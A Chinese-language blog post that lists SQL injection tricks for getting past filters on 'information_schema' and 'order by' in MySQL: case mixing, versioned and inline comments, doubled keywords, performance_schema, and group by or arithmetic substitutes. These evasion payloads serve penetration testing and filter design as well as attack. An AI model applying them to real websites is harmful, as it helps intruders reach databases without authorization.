当前位置: 首页 > news >正文

绕过【information_schema】,【order by】过滤

1.大小写混合

利用数据库不区分大小写

inFOrmation_schema

inFoRMAtion_ScheMA

Order by

ORDer By

2./*!information_schema*/数据库的特性

/**/注释可以代替空格

/*!*/在这里会被mysql所识别

/*!50000information_schema*/

/*!order by*/

order/*666*/ by

order%0aby

order()bay

SELECT * FROM users ORDER `BY` `id` -- 

3.当过滤一个information_schema时

可以informationinformation_schema_schema

当information_schema被过滤这个就会被重新组成information_schema

ororder byder by

最后组成order by

4.同等替代

使用 performance_schema

performance_schema 是另一个系统数据库,主要用于性能监控。它提供了详细的性能指标和诊断信息,但也可以用来获取一些与 information_schema 类似的元数据。

虽然 performance_schema 主要用于性能监控,但它也可以提供一些关于数据库连接、锁、事件等的详细信息

order by可以用group by +聚合函数

select * from user group by id -- MySQL可能按id排序

union 的子查询排序

union select 1,2,3 from user order by 1

当order by 注入到union后的子查询中

数学表达式排序

select * from user order by id+0

转换为数字运算逃过关键字检测

相关文章:

  • git 国内源
  • Mobaxterm服务器常用命令(持续更新)
  • 001 Kafka入门及安装
  • 【快速入门 LVGL】-- 1、STM32 工程移植 LVGL
  • IO 和 NIO 有什么区别?
  • 网页无法加载的常见原因及解决方法
  • 如果更换ip地址会怎么样?网络ip地址怎么更换
  • Spring 源码硬核解析系列专题(八):Spring Security 的认证与授权源码解析
  • Unity3D 实现骨骼动画的 GPU Skinning 详解
  • 大连本地知识库的搭建--数据收集与预处理_01
  • 【Project】基于Prometheus监控docker平台
  • Vue组件:从使用到原理的深度解析
  • ubuntu:桌面版磁盘合并扩容
  • Nuxt.js 3【详解】服务器 Server
  • 异步fifo学习
  • 解决前端计算的浮点精度问题
  • lowagie(itext)老版本手绘PDF,包含页码、水印、图片、复选框、复杂行列合并、行高设置等。
  • express(node ORM) 使用 Winston 记录日志 及数据库保存日志
  • DeepSeek在金融银行的应用方案
  • Unity基础——资源导出分享为Unity Package
  • 武汉专业制作网页的公司/企业seo优化服务
  • 乐清高端网站建设/厉害的seo顾问
  • 国际业务网站有哪些/现在最好的营销方式
  • 专业的网站制作专业公司/百度网站ip地址
  • 施工企业资质等级划分/处理器优化软件
  • 做网站旅游销售/公司网站建设哪个好